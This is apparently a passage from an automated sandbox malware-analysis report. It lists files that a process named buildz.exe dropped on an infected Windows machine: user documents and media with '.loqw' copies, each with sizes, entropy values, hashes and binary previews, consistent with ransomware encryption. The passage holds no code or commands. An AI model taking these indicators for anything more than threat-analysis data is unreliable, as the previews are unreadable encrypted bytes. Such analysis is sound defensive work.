Preview:	{"chr.......Po...].dKs8.R.4.yg...'7..e....q......R:/3.8...:.P.P...o.d...7.B....y.*..... .%.gk.........k..E...W.,..A.5...$...? ......G..1.....7:.S...6.!..s.x.D}.0]t..mE30'.$1.I.K..6.D......X.y.....H.0O...Pn.2.s.m.Oe.5`C..9Cf;.E....aW.......;..Q........1GI.@.".....BC.......MT......pA%.;. .D...~P.3...a..D.$...x.+...v..).E...A..u.._........VZ.}`....@+....C...p.aSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\times.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	381
Entropy (8bit):	7.413260098427789
Encrypted:	false
SSDEEP:	6:pqUKycyLEDmPJzES2Abm8/KkSmXhusiDfWtAVoVUuqIPKUMQ1rH+ivz869Wyc3cq:EU9LEkRES3KBExipVoKyKUMwrH7vzj14
MD5:	FA3F89250D7A5DE1AB9AF29FA361DE24
SHA1:	75ACC8696D0E149DAA82E6070EA4E0AAA2D8724A
SHA-256:	C438D06915BE2C3ED892FD0328AEE934BE3FF043F31DEBC66896DA863D6EA949
SHA-512:	75FB6222930533655414F4E841D70389C2B086EB48D03900BE7052CDF83D0E18053D965D2B8521C41D7B7EF154A46D40B7284FBFA06E0DF3765589AAC2DBC76A
Malicious:	false
Reputation:	unknown
Preview:	{."cr..$..O..{..&......$yO.S...X.W.Y..uu!..q.^.f..+.........B4...w....!.pV3..vS"..w....{.A,...._.....Opk.H....8....\~p._..v....&...E....ZbDb.2.....H#2...Im.p....e..4...r...M....u9;".7..J.H..1.g3%Jb.'zG. ..].+.......n..Znk.r......[1...,.F......f..ds7..fxx...TD..\|.(.`..J.w./[.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Desktop\DTBZGIOOSO\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843398662305396
Encrypted:	false
SSDEEP:	24:yiJL51sDX8V43+Y+5UriEp/lEEplLIko6ckPS2js5xOTa52PAbD:yiJNyH35+5hELMkfPS2oLlkaD
MD5:	AA4EF8FF996DEBB40739979090AB7102
SHA1:	B03C7830ED5499FFD75F9C38F16D39AD4B1CBBF7
SHA-256:	ACCDB079B28CCAD4FE1B7125E3C29183843C027FED65EA5AC56124396FAD9A7F
SHA-512:	B7BF6C380298515E2B3C506C8C13B490094729A07CEC192D7CC75EBF103DCC1E0E1C520D2B52B954CD9520C8B32911F18FD0B6E69EBC708E4D0EA4D9C68B7594
Malicious:	false
Reputation:	unknown
Preview:	DTBZG>F......<K0.D~V....UJ.....\...t.hf.wx......a".4h..FK.:]f......-....3B..AW@.GpHk1 [v........dR.....&r&....=@......8...1.2.".a.-.[...(..0.\.7h.>1.........K-.$..P......T......T<..L.3<O..2\|.@.K8.h...$v...'G.I..IO.`....g0...C.]...j...x<c...@)..z....I;p.n.[E6rO..)...K...Mu.C.../....U.>%..l..Na.....=.z6."f..g.h'$u.bpW.;}Q,Wg..%....J.m...d...F......?6\|.....wRL...ym.....)jm...p...<...4. .{..T.^....$....c......t]c.r.{RJ....U.E.v..!(...3..4vc.u<........,..+Oc`....B."L.. [".%.........Z.......I.....@?./.$.S....2n+N-.jo....,M...M.....'*..+.;Jei..?...B.+.84k.s.06%...2t........I$?......I}..P.0.l..<aY.-1..g.."...0M....#..,y..]..j.s:..V.}}..K.p....b.;.G... ..y<.........k......G..F...6.......J....q0^............R..k..^!.ti.9.l.......yi..kA%.o??.y....4f.y.{...Zl..6.U...l.K.?x.MS.1..oF..B("u....{....cT.......;....;T...G4....^_a."...........].\|..S.lra6..Ml.z.5.J....^.mf....y..R.3...N....P..W...y..m..(..g.....L.Ph.i...t.?.c.!...<....v....D.1..py\|&_.....T.

C:\Users\user\Desktop\DTBZGIOOSO\DTBZGIOOSO.docx.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843398662305396
Encrypted:	false
SSDEEP:	24:yiJL51sDX8V43+Y+5UriEp/lEEplLIko6ckPS2js5xOTa52PAbD:yiJNyH35+5hELMkfPS2oLlkaD
MD5:	AA4EF8FF996DEBB40739979090AB7102
SHA1:	B03C7830ED5499FFD75F9C38F16D39AD4B1CBBF7
SHA-256:	ACCDB079B28CCAD4FE1B7125E3C29183843C027FED65EA5AC56124396FAD9A7F
SHA-512:	B7BF6C380298515E2B3C506C8C13B490094729A07CEC192D7CC75EBF103DCC1E0E1C520D2B52B954CD9520C8B32911F18FD0B6E69EBC708E4D0EA4D9C68B7594
Malicious:	false
Reputation:	unknown
Preview:	DTBZG>F......<K0.D~V....UJ.....\...t.hf.wx......a".4h..FK.:]f......-....3B..AW@.GpHk1 [v........dR.....&r&....=@......8...1.2.".a.-.[...(..0.\.7h.>1.........K-.$..P......T......T<..L.3<O..2\|.@.K8.h...$v...'G.I..IO.`....g0...C.]...j...x<c...@)..z....I;p.n.[E6rO..)...K...Mu.C.../....U.>%..l..Na.....=.z6."f..g.h'$u.bpW.;}Q,Wg..%....J.m...d...F......?6\|.....wRL...ym.....)jm...p...<...4. .{..T.^....$....c......t]c.r.{RJ....U.E.v..!(...3..4vc.u<........,..+Oc`....B."L.. [".%.........Z.......I.....@?./.$.S....2n+N-.jo....,M...M.....'*..+.;Jei..?...B.+.84k.s.06%...2t........I$?......I}..P.0.l..<aY.-1..g.."...0M....#..,y..]..j.s:..V.}}..K.p....b.;.G... ..y<.........k......G..F...6.......J....q0^............R..k..^!.ti.9.l.......yi..kA%.o??.y....4f.y.{...Zl..6.U...l.K.?x.MS.1..oF..B("u....{....cT.......;....;T...G4....^_a."...........].\|..S.lra6..Ml.z.5.J....^.mf....y..R.3...N....P..W...y..m..(..g.....L.Ph.i...t.?.c.!...<....v....D.1..py\|&_.....T.

C:\Users\user\Desktop\DTBZGIOOSO\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856615937079531
Encrypted:	false
SSDEEP:	24:XPUdoNGDiIYWHhVN6PACxQfcf8i7A43xCI01qmhDbD:XMtDiK7NLCxQffiU/D
MD5:	365707EB2212A079EBCF137DDBCAE9E4
SHA1:	19EE0B6110674B9FC91072B602E5A83A3C2676C5
SHA-256:	58701E934F2B884436F7B8B85C3AE94E233C018396108E896CDB242D765AB701
SHA-512:	72EF4D1F132541AFDFC84E7E9D381D3AE6027E0005022D558CE4FA1879830432B5B937B9279983CC048AEFFFF8A929236DA316E2B4EFF647D0430ED96647E486
Malicious:	true
Reputation:	unknown
Preview:	KATAX...B.f..TI........(R.Wf..#.\|`......W.Ow....v)....6..zQ........PNf...}7.^..~.`..p\|..a.."F,k.@.o[....Ir...... ...,...a.}..S...f..A,bY.F.Y_.~.z.y.B..C"......H.R2.-.PpM../.<.....8.....2...W...y..x.p.zU(V...Y...!...D.m..#....#?__vB9..H.Z.>..y. D....+........z...".+.?.._.8.m....E..O.n..l...4..?...%ak6".'rq.?...ZL......,ue...<..+..,..z....w5.>0..H...M..u.'.9....6..q.i.AS...{.....;E..js.z...U....Bj.M.....3^.p.....u...~....\P.&./.....Td.W...w...JS.1+...@)...EP.?kdG.f...$c.._.j.w..p.U.._Y.c.\...2..?l6F.H..:1...84.1.......4\{....G......G..L...H.......l...`..MS.7..G.t..[Y.."y.iK...:.vU.}0.!s&H.....F...@rS.1T.d{voC..1..e......'B.(.11/.8h..;..xU._.].j....K.~.......\.....v.z.IK...PP.{.gY..l.f..:...62j..h...W...U.......^......E;{.[..T.3n5...[c...R@d.0,..D...Z.......w}..g....g.e0..E.(N.B. .a.<M0.M......[;.......y(6L...&.l.?+.k@..!....O2...!X.......$~`.&...L#.+(^T...Z....A..U .".>.....V`.+3.......Hd.5C.Ua.8..o.m...5Y...M..fQI..gz....V.\~...

C:\Users\user\Desktop\DTBZGIOOSO\KATAXZVCPS.mp3.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856615937079531
Encrypted:	false
SSDEEP:	24:XPUdoNGDiIYWHhVN6PACxQfcf8i7A43xCI01qmhDbD:XMtDiK7NLCxQffiU/D
MD5:	365707EB2212A079EBCF137DDBCAE9E4
SHA1:	19EE0B6110674B9FC91072B602E5A83A3C2676C5
SHA-256:	58701E934F2B884436F7B8B85C3AE94E233C018396108E896CDB242D765AB701
SHA-512:	72EF4D1F132541AFDFC84E7E9D381D3AE6027E0005022D558CE4FA1879830432B5B937B9279983CC048AEFFFF8A929236DA316E2B4EFF647D0430ED96647E486
Malicious:	false
Reputation:	unknown
Preview:	KATAX...B.f..TI........(R.Wf..#.\|`......W.Ow....v)....6..zQ........PNf...}7.^..~.`..p\|..a.."F,k.@.o[....Ir...... ...,...a.}..S...f..A,bY.F.Y_.~.z.y.B..C"......H.R2.-.PpM../.<.....8.....2...W...y..x.p.zU(V...Y...!...D.m..#....#?__vB9..H.Z.>..y. D....+........z...".+.?.._.8.m....E..O.n..l...4..?...%ak6".'rq.?...ZL......,ue...<..+..,..z....w5.>0..H...M..u.'.9....6..q.i.AS...{.....;E..js.z...U....Bj.M.....3^.p.....u...~....\P.&./.....Td.W...w...JS.1+...@)...EP.?kdG.f...$c.._.j.w..p.U.._Y.c.\...2..?l6F.H..:1...84.1.......4\{....G......G..L...H.......l...`..MS.7..G.t..[Y.."y.iK...:.vU.}0.!s&H.....F...@rS.1T.d{voC..1..e......'B.(.11/.8h..;..xU._.].j....K.~.......\.....v.z.IK...PP.{.gY..l.f..:...62j..h...W...U.......^......E;{.[..T.3n5...[c...R@d.0,..D...Z.......w}..g....g.e0..E.(N.B. .a.<M0.M......[;.......y(6L...&.l.?+.k@..!....O2...!X.......$~`.&...L#.+(^T...Z....A..U .".>.....V`.+3.......Hd.5C.Ua.8..o.m...5Y...M..fQI..gz....V.\~...

C:\Users\user\Desktop\DTBZGIOOSO\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848372017190463
Encrypted:	false
SSDEEP:	24:vF5BjQE/XfsgBq/+cI+xhhd1lgDQhNFq0YaxLGcD63hsNRs7uSUbD:v3xZ/Xrc9nUQ3fYvGRbD
MD5:	2DDC345E361436227EB6AC3A9A076270
SHA1:	21362D5B4D236C05574ECB63A7860DB515AF798E
SHA-256:	C48BA10E02739BE0875326C32EEAE88C8C6ED739F1C9A2FC82028F7037F6CD66
SHA-512:	BEB9CB62DE0EFC9568FCDA5C3696D241DCD63E427F73C050C82C082539F7BF9012170C25138164DFA40278F1B8D9667A7ACEA64EE6F5B4C3F7759716432893F6
Malicious:	false
Reputation:	unknown
Preview:	ONBQC=\|...u(..e u.Bq."..1..#..f>..L}...f).B.d3...0....9:.../...u....T.F4.X...wBd.}.nl.A.Y..%.{...#Po3.K.....,.co.!...<.../.._s;...:+..(t.V^sCc.H.`8..e..L.\|..5}...I..g...]?...SV...w?.a.8..A...=.q......`..qGh{C.lt.................nV...\|....Y.I..........o...H..8w......[.p#...X.-._.;...!Z..]..#......[..z...V.y../2y-.E.?.h)...+.Lw.<..cK.T..I..........w...W.....E......V$...}.%...h...../..^..(.!B.V.I.......B...pv...p..hu.....bq....t.zN....P.S.m....F..d\|.........N.f...[..7..q<9.....+.....W..$.......i.-.F:.Tk.t...@.QF.....uKs........EY.S..2...._.Q.\|d... ..2)..W..mM.\|.$.7.Y7..W@.-.J..I.......H..M..`.]....*.&%......;.l..9'.nx.eUx`.......d...C~!.....\|...o..zD.6].."4.)8..D..;......9.,.....,.&.).k..e...mJ...$?...0.`G..4.@...........9..:...G..2N. .k?^..j..jo8..w#pp8a.....n8B...=.-.P.b...ZA.u..O<.ES...j~%=.!.i.......aa5..;..t..E....p.U.....6u.t6_.r.......3./~.e.e.R%..7.r.c..)H.....k.+A...3_jCfh.g.g....BE........juo.W-......J;o?9.;..H.\|\-].~?=GT.2q..5.....

C:\Users\user\Desktop\DTBZGIOOSO\ONBQCLYSPU.pdf.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.848372017190463
Encrypted:	false
SSDEEP:	24:vF5BjQE/XfsgBq/+cI+xhhd1lgDQhNFq0YaxLGcD63hsNRs7uSUbD:v3xZ/Xrc9nUQ3fYvGRbD
MD5:	2DDC345E361436227EB6AC3A9A076270
SHA1:	21362D5B4D236C05574ECB63A7860DB515AF798E
SHA-256:	C48BA10E02739BE0875326C32EEAE88C8C6ED739F1C9A2FC82028F7037F6CD66
SHA-512:	BEB9CB62DE0EFC9568FCDA5C3696D241DCD63E427F73C050C82C082539F7BF9012170C25138164DFA40278F1B8D9667A7ACEA64EE6F5B4C3F7759716432893F6
Malicious:	false
Reputation:	unknown
Preview:	ONBQC=\|...u(..e u.Bq."..1..#..f>..L}...f).B.d3...0....9:.../...u....T.F4.X...wBd.}.nl.A.Y..%.{...#Po3.K.....,.co.!...<.../.._s;...:+..(t.V^sCc.H.`8..e..L.\|..5}...I..g...]?...SV...w?.a.8..A...=.q......`..qGh{C.lt.................nV...\|....Y.I..........o...H..8w......[.p#...X.-._.;...!Z..]..#......[..z...V.y../2y-.E.?.h)...+.Lw.<..cK.T..I..........w...W.....E......V$...}.%...h...../..^..(.!B.V.I.......B...pv...p..hu.....bq....t.zN....P.S.m....F..d\|.........N.f...[..7..q<9.....+.....W..$.......i.-.F:.Tk.t...@.QF.....uKs........EY.S..2...._.Q.\|d... ..2)..W..mM.\|.$.7.Y7..W@.-.J..I.......H..M..`.]....*.&%......;.l..9'.nx.eUx`.......d...C~!.....\|...o..zD.6].."4.)8..D..;......9.,.....,.&.).k..e...mJ...$?...0.`G..4.@...........9..:...G..2N. .k?^..j..jo8..w#pp8a.....n8B...=.-.P.b...ZA.u..O<.ES...j~%=.!.i.......aa5..;..t..E....p.U.....6u.t6_.r.......3./~.e.e.R%..7.r.c..)H.....k.+A...3_jCfh.g.g....BE........juo.W-......J;o?9.;..H.\|\-].~?=GT.2q..5.....

C:\Users\user\Desktop\DTBZGIOOSO\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846771761329865
Encrypted:	false
SSDEEP:	24:FruqehPHBYDyWNdSSlqUAfrvTZNDz8MF2zM8gZLUQujVnX3bD:Fr+PhYDyWPS8Afr7pF2I9RcN7D
MD5:	E741A9CEF5D72FF0AE605E33A5792EA1
SHA1:	6D3A72CBF25E6B80E6BBEC6A95FE3CD6186D6189
SHA-256:	B01A382005BD2029BC923D6D730CD949E402311B382F19567F48A1F9D4B29C81
SHA-512:	FFD05F18D253C2E1036A527922BFC63D95FD75D552BBEEC6827266DF562FD40B40ADC49F801AB676F1A8B83B53B53F42FFC41FD54A39A6C98E09CB7533FE1A36
Malicious:	false
Reputation:	unknown
Preview:	UMMBDYw.l.=(.......1n.....l=.c..?..D/v`.......?"..?..D.R.\O../....,.....h.I.Z;.c..8...y.9.I..3....#.LU......^.{.x...#..._..Rl..s........B..g.....W..x..E.7!.qkE.9.~..W.-...D>\p....0.$..\....%V.PDzS...i9Z...8..K.-..\p.,a_B A3..w6r2WYL.+q....IB...K......JT7...d.Yw.B..............L..b..h....-9bD..T..T...d(..{../n./......o...=..$.T_..].E...2....$].......]......tO..iezG"T).(.K...gU.6..j..z.<..8...?{..8}.1...,...%&....\..8...Al.............2Sy......=.D......@.6..,.. .;..........J.1.l.....N(...$..TD../.. .........;..(K.g...h.\|....m...tH....t...0R.C....Q.....o6..t.....ee....Me... p..u......6".3.\|......)x.O.Z....B......02RM.x.@...^J.xE..6.j.'...l.v.K..B..;.Z....$..#Z.......@...'......A...V.TQit..a.R..S?fx..Q..W..k.....5. ....z.R]}.xpa[.n....\|...H#&....%LJ...l..m...S.....%.h...k..kY.X!.uX.......C..vh....]. ..hH........!.:.._{w_.%.....:..m.CT...^N..B...j....{Q.U.l...H%.6.s?...K....x.Iz/S..\..nn{a.C...iNk..........fi.....F......M9.....7j...<......u..

C:\Users\user\Desktop\DTBZGIOOSO\UMMBDNEQBN.png.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846771761329865
Encrypted:	false
SSDEEP:	24:FruqehPHBYDyWNdSSlqUAfrvTZNDz8MF2zM8gZLUQujVnX3bD:Fr+PhYDyWPS8Afr7pF2I9RcN7D
MD5:	E741A9CEF5D72FF0AE605E33A5792EA1
SHA1:	6D3A72CBF25E6B80E6BBEC6A95FE3CD6186D6189
SHA-256:	B01A382005BD2029BC923D6D730CD949E402311B382F19567F48A1F9D4B29C81
SHA-512:	FFD05F18D253C2E1036A527922BFC63D95FD75D552BBEEC6827266DF562FD40B40ADC49F801AB676F1A8B83B53B53F42FFC41FD54A39A6C98E09CB7533FE1A36
Malicious:	false
Reputation:	unknown
Preview:	UMMBDYw.l.=(.......1n.....l=.c..?..D/v`.......?"..?..D.R.\O../....,.....h.I.Z;.c..8...y.9.I..3....#.LU......^.{.x...#..._..Rl..s........B..g.....W..x..E.7!.qkE.9.~..W.-...D>\p....0.$..\....%V.PDzS...i9Z...8..K.-..\p.,a_B A3..w6r2WYL.+q....IB...K......JT7...d.Yw.B..............L..b..h....-9bD..T..T...d(..{../n./......o...=..$.T_..].E...2....$].......]......tO..iezG"T).(.K...gU.6..j..z.<..8...?{..8}.1...,...%&....\..8...Al.............2Sy......=.D......@.6..,.. .;..........J.1.l.....N(...$..TD../.. .........;..(K.g...h.\|....m...tH....t...0R.C....Q.....o6..t.....ee....Me... p..u......6".3.\|......)x.O.Z....B......02RM.x.@...^J.xE..6.j.'...l.v.K..B..;.Z....$..#Z.......@...'......A...V.TQit..a.R..S?fx..Q..W..k.....5. ....z.R]}.xpa[.n....\|...H#&....%LJ...l..m...S.....%.h...k..kY.X!.uX.......C..vh....]. ..hH........!.:.._{w_.%.....:..m.CT...^N..B...j....{Q.U.l...H%.6.s?...K....x.Iz/S..\..nn{a.C...iNk..........fi.....F......M9.....7j...<......u..

C:\Users\user\Desktop\DTBZGIOOSO\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837274704031763
Encrypted:	false
SSDEEP:	24:yboWOJtv8UHI8mtE8DfTTVjdQ90U4lJrPM3hSi/vgCMFFWmmbD:C6Jtv8UHWtdDbJjdQ90U4vPM8KMam0D
MD5:	A5383E0B9E7B491A17C62DAFC05E632A
SHA1:	3D59F10C2876178085B23491AC37E3AFF7F7154C
SHA-256:	48A72DCF5B718B73FA1DBA887E876D05646B8DACA5604E62FB3A2B0F61C2A008
SHA-512:	C8EC4B211C90F53F02FA7324797D164BBDB4383A4E95D881CA516AE521E25E92894AE228921ECFA1F8CD4A718F9BD76EDF88BB2527783036AB475389CB0DC911
Malicious:	false
Reputation:	unknown
Preview:	VLZDGt.e.wr@....xRD..0K.-=>{..K@%.s....jz...P...x&S.........>..I.D.\.jph....oR......]....ET..?.A..8......,OI:.'..A...\..T....[...p.yds...<q....C..\kG9.O.9...u...cy....Ko..L.^.@'a..uX.K0Y..8I.p....q.Y5....../.....5(..SO..."...=7...~'U`.h^#6..J$....l.x.[..!eq.r8..3j#X.Rl$.....X....fi....18.}G.H...u]L..$bud`a.WH...5...w..2.dn....I..'r7.....%....K...2...j.............\|...u'..a...........Pl..4.^3..1t.8.B-R..t.&{.....eSA....E..%u.-..i.C......G..L.Pa.(...,b.H.........WP2..q.R.`..(8^..p.".04.>........L..(.....Y....X..<..9...`..j.U....e.z...>..hJ.z.=.L...4+]...Cx..2..z.t..s...o.!A.0.9S)..E.H.+..Z.5.g..+.$..M.c.-lY.n"..>.]..$.!5..w..c..a....Nq'..z+...q.^X.I...S...1.?.*...(...d.N......)....f.}.d........U.D.....e.Kv..147..........Hy......Y...W.....X.......K.2m..$.......-..5.N......z..I..k...2.f.6....2$4...(......&{Jo3..Z...D......^....S.5.g...<.Pn.......ShX=Cz..e..:\|.3.. .W..c.\...>(!..VU....+...]-.....]g..:.E...2...w+...4.......R.z.

C:\Users\user\Desktop\DTBZGIOOSO\VLZDGUKUTZ.jpg.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837274704031763
Encrypted:	false
SSDEEP:	24:yboWOJtv8UHI8mtE8DfTTVjdQ90U4lJrPM3hSi/vgCMFFWmmbD:C6Jtv8UHWtdDbJjdQ90U4vPM8KMam0D
MD5:	A5383E0B9E7B491A17C62DAFC05E632A
SHA1:	3D59F10C2876178085B23491AC37E3AFF7F7154C
SHA-256:	48A72DCF5B718B73FA1DBA887E876D05646B8DACA5604E62FB3A2B0F61C2A008
SHA-512:	C8EC4B211C90F53F02FA7324797D164BBDB4383A4E95D881CA516AE521E25E92894AE228921ECFA1F8CD4A718F9BD76EDF88BB2527783036AB475389CB0DC911
Malicious:	false
Reputation:	unknown
Preview:	VLZDGt.e.wr@....xRD..0K.-=>{..K@%.s....jz...P...x&S.........>..I.D.\.jph....oR......]....ET..?.A..8......,OI:.'..A...\..T....[...p.yds...<q....C..\kG9.O.9...u...cy....Ko..L.^.@'a..uX.K0Y..8I.p....q.Y5....../.....5(..SO..."...=7...~'U`.h^#6..J$....l.x.[..!eq.r8..3j#X.Rl$.....X....fi....18.}G.H...u]L..$bud`a.WH...5...w..2.dn....I..'r7.....%....K...2...j.............\|...u'..a...........Pl..4.^3..1t.8.B-R..t.&{.....eSA....E..%u.-..i.C......G..L.Pa.(...,b.H.........WP2..q.R.`..(8^..p.".04.>........L..(.....Y....X..<..9...`..j.U....e.z...>..hJ.z.=.L...4+]...Cx..2..z.t..s...o.!A.0.9S)..E.H.+..Z.5.g..+.$..M.c.-lY.n"..>.]..$.!5..w..c..a....Nq'..z+...q.^X.I...S...1.?.*...(...d.N......)....f.}.d........U.D.....e.Kv..147..........Hy......Y...W.....X.......K.2m..$.......-..5.N......z..I..k...2.f.6....2$4...(......&{Jo3..Z...D......^....S.5.g...<.Pn.......ShX=Cz..e..:\|.3.. .W..c.\...>(!..VU....+...]-.....]g..:.E...2...w+...4.......R.z.

C:\Users\user\Desktop\DTBZGIOOSO\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855260474363897
Encrypted:	false
SSDEEP:	24:wvpghwqs8b/F6OtrQWhWYN5upFX19mM/sbUBrY1A9XTuiNQWBJKaaceGzFQ4bD:a2hdEiQ4WYT4EKAANpBJKaa5Gz6iD
MD5:	255973E0DB151B4374F7371EED5FB5A6
SHA1:	9F5BA0DC3C6DCFCCAA6703C4089D55196D0B5382
SHA-256:	5E055E2AD66B49B7A3DCF60B8B8EF3082CCD3A4DF90A94CD191E10CA34698347
SHA-512:	36F2B867A63DBAB36E9FBF258BA18D4FE180B8D102BD96F4C835859D8EC41953DEC46800A2D922F51584EE6A0439DD1F5F434F61410A99FFB2ED28917CC37226
Malicious:	false
Reputation:	unknown
Preview:	XZXHA...}d...0..#...p..gE.N..Y....z@..m....:..;......#6.........e\|.o=.+.%...7a.....t..T...S.#H.c.3;Fi..S.....`....[......&u@..NS..'.1\|.`..6...<..L.uw=.....o..?....tD...w..I.{..5...r....<D.c.S..;.t2.C.M..P..Z..c..../...#L.S=...!LP....4..g.)Y.z4....N.h..N.......v..E...g...TT.k.~..R......l..#...0..u>J.-Y.Z..>.i.._G.ZuJ.....f\....J.8.u....0z.....V....S3...:...s....:.?>...HW.#....;......Wbz.dBV.Z.TO..I.bOM.E...[...L(...D.?F.TH.x..].9....1#y-...!........f.h: ...L...T.&......jl......O.......<=.K...';NW...eH..^`'mv.0..O.=.L..~F=....q.@,.t..../.U..2...u...R.IV=.K.A..]Z..^bN.?U.L.[?#b..yW&...P..O.[+...........\...V..v./......../.ir]t..0..d.iQ....>A.~.._;+.ZE{!(,.l.7.Q......l..P./....@(.4.X......WB7..V)k..:...0.N.F{...$..d.....3....5.H...M`..K7..i.N.=.U.Zw.1..t`=2......{.<V...J....H..............x..>.S.(....>.<..^..$r4}....0.S../2..l.Q2..VE.... .4'.$.n.6.i..lU.]B.P..@.k.......H...x.m.0R{..A.o[$'.v..07Cg..1@}.).[..])K&`x..msE...............

C:\Users\user\Desktop\DTBZGIOOSO\XZXHAVGRAG.xlsx.loqw (copy)

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855260474363897
Encrypted:	false
SSDEEP:	24:wvpghwqs8b/F6OtrQWhWYN5upFX19mM/sbUBrY1A9XTuiNQWBJKaaceGzFQ4bD:a2hdEiQ4WYT4EKAANpBJKaa5Gz6iD
MD5:	255973E0DB151B4374F7371EED5FB5A6
SHA1:	9F5BA0DC3C6DCFCCAA6703C4089D55196D0B5382
SHA-256:	5E055E2AD66B49B7A3DCF60B8B8EF3082CCD3A4DF90A94CD191E10CA34698347
SHA-512:	36F2B867A63DBAB36E9FBF258BA18D4FE180B8D102BD96F4C835859D8EC41953DEC46800A2D922F51584EE6A0439DD1F5F434F61410A99FFB2ED28917CC37226
Malicious:	false
Reputation:	unknown
Preview:	XZXHA...}d...0..#...p..gE.N..Y....z@..m....:..;......#6.........e\|.o=.+.%...7a.....t..T...S.#H.c.3;Fi..S.....`....[......&u@..NS..'.1\|.`..6...<..L.uw=.....o..?....tD...w..I.{..5...r....<D.c.S..;.t2.C.M..P..Z..c..../...#L.S=...!LP....4..g.)Y.z4....N.h..N.......v..E...g...TT.k.~..R......l..#...0..u>J.-Y.Z..>.i.._G.ZuJ.....f\....J.8.u....0z.....V....S3...:...s....:.?>...HW.#....;......Wbz.dBV.Z.TO..I.bOM.E...[...L(...D.?F.TH.x..].9....1#y-...!........f.h: ...L...T.&......jl......O.......<=.K...';NW...eH..^`'mv.0..O.=.L..~F=....q.@,.t..../.U..2...u...R.IV=.K.A..]Z..^bN.?U.L.[?#b..yW&...P..O.[+...........\...V..v./......../.ir]t..0..d.iQ....>A.~.._;+.ZE{!(,.l.7.Q......l..P./....@(.4.X......WB7..V)k..:...0.N.F{...$..d.....3....5.H...M`..K7..i.N.=.U.Zw.1..t`=2......{.<V...J....H..............x..>.S.(....>.<..^..$r4}....0.S../2..l.Q2..VE.... .4'.$.n.6.i..lU.]B.P..@.k.......H...x.m.0R{..A.o[$'.v..07Cg..1@}.).[..])K&`x..msE...............

C:\Users\user\Desktop\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846371072779839
Encrypted:	false
SSDEEP:	24:4EMfsulCMHNWkKUsbGPtnj+GisdsR2OrhEAFhzYrQ08qlezRbD:4dtl2t6tn6BnDqrX8G6D
MD5:	55CE9EB40D78CC6CA912FBC15181800E
SHA1:	072DAEE0F84E0E4E043117343A2932560B4AB2D9
SHA-256:	4D7A5621FD113DAA90D7BA5432C1CC0D5493C94EBEEFB994875DCD3C75B046C2
SHA-512:	D33AFF8F63AB0AA7BEC1AA1192AD0529D4B72112FCF5CC804F989DA75EE54D750C77F87C7EECD2DA3CB35B4CC248FCF9EAC2441B0DDDE81B0FD6E0877F577328
Malicious:	false
Reputation:	unknown
Preview:	KATAX.B.1..0T....T....z....Ee.T..ei........AS.v.~=..y.S........f..2CF!.l1..X.s..B..~Qn...../P"......y......UqdK.,...A.O;C....>P.....RXvN'w\..'.~...@.L..~7.+@..=...?A...\|...z.[;].:,.....V%.......m...fg...[..IY.!......;~H....]......i....f..H..0.........=u:d=..@..w'S..Z..H....A..3.....Y.q....5W..a.D..W.....[."...BM)!..G..4gA...+...{"?....u]...W.2+f5z..F.y..V/U>...sM.....i...}.,....z7hu..U..'H)e.w..M...Pi..r.........G.....6C.....p). .CW@u.m...mW!..c..*.O..[.....4.IV....e......F^.z~+..'.-\..2..F1 I....2....x...L.S..'....2Hjo..p.@`...2..r3m..\|....^pB.J>.E.l6 ....SB4-..A.c.0.x./V..1..\|.......Aqo......AX.L .\|..>........Dds"..=.<2....(..=..{......UD0.Wa...!..Y.........4....K\|....B...Qr)$.W..8.?.q......c_.I......T.7...Z...o.b....jY..7.....1W...q.e..B......n.t.........LI...{Es.1\.o=W;..v<....t...x.f...L.}.)..z...........o...Q.....H..........s...Ph......5.....z..Lq.Z......Lz..S?.9.'..$5:9?#..):.P!.o..N.....T....2......k.u2....kS7.....~7.L

C:\Users\user\Desktop\KATAXZVCPS.mp3.loqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846371072779839
